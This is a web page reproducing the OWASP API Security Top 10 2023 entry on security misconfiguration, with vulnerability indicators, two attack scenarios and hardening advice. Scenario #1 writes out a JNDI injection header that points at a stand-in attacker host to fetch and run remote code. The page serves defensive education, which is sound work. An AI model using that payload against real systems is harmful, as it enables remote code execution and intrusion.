Skip to content

API8:2023 Security Misconfiguration

Threat agents/Attack vectors Security Weakness Impacts
API Specific : Exploitability Easy Prevalence Widespread : Detectability Easy Technical Severe : Business Specific
Attackers will often attempt to find unpatched flaws, common endpoints, services running with insecure default configurations, or unprotected files and directories to gain unauthorized access or knowledge of the system. Most of this is public knowledge and exploits may be available. Security misconfiguration can happen at any level of the API stack, from the network level to the application level. Automated tools are available to detect and exploit misconfigurations such as unnecessary services or legacy options. Security misconfigurations not only expose sensitive user data, but also system details that can lead to full server compromise.

Is the API Vulnerable?

The API might be vulnerable if:

  • Appropriate security hardening is missing across any part of the API stack, or if there are improperly configured permissions on cloud services
  • The latest security patches are missing, or the systems are out of date
  • Unnecessary features are enabled (e.g. HTTP verbs, logging features)
  • There are discrepancies in the way incoming requests are processed by servers in the HTTP server chain
  • Transport Layer Security (TLS) is missing
  • Security or cache control directives are not sent to clients
  • A Cross-Origin Resource Sharing (CORS) policy is missing or improperly set
  • Error messages include stack traces, or expose other sensitive information

Example Attack Scenarios

Scenario #1

An API back-end server maintains an access log written by a popular third-party open-source logging utility with support for placeholder expansion and JNDI (Java Naming and Directory Interface) lookups, both enabled by default. For each request, a new entry is written to the log file with the following pattern: <method> <api_version>/<path> - <status_code>.

A bad actor issues the following API request, which gets written to the access log file:

GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}

Due to the insecure default configuration of the logging utility and a permissive network outbound policy, in order to write the corresponding entry to the access log, while expanding the value in the X-Api-Version request header, the logging utility will pull and execute the Malicious.class object from the attacker's remote controlled server.

Scenario #2

A social network website offers a "Direct Message" feature that allows users to keep private conversations. To retrieve new messages for a specific conversation, the website issues the following API request (user interaction is not required):

GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA

Because the API response does not include the Cache-Control HTTP response header, private conversations end-up cached by the web browser, allowing malicious actors to retrieve them from the browser cache files in the filesystem.

How To Prevent

The API life cycle should include:

  • A repeatable hardening process leading to fast and easy deployment of a properly locked down environment
  • A task to review and update configurations across the entire API stack. The review should include: orchestration files, API components, and cloud services (e.g. S3 bucket permissions)
  • An automated process to continuously assess the effectiveness of the configuration and settings in all environments

Furthermore:

  • Ensure that all API communications from the client to the API server and any downstream/upstream components happen over an encrypted communication channel (TLS), regardless of whether it is an internal or public-facing API.
  • Be specific about which HTTP verbs each API can be accessed by: all other HTTP verbs should be disabled (e.g. HEAD).
  • APIs expecting to be accessed from browser-based clients (e.g., WebApp front-end) should, at least:
  • implement a proper Cross-Origin Resource Sharing (CORS) policy
  • include applicable Security Headers
  • Restrict incoming content types/data formats to those that meet the business/ functional requirements.
  • Ensure all servers in the HTTP server chain (e.g. load balancers, reverse and forward proxies, and back-end servers) process incoming requests in a uniform manner to avoid desync issues.
  • Where applicable, define and enforce all API response payload schemas, including error responses, to prevent exception traces and other valuable information from being sent back to attackers.

References

OWASP

External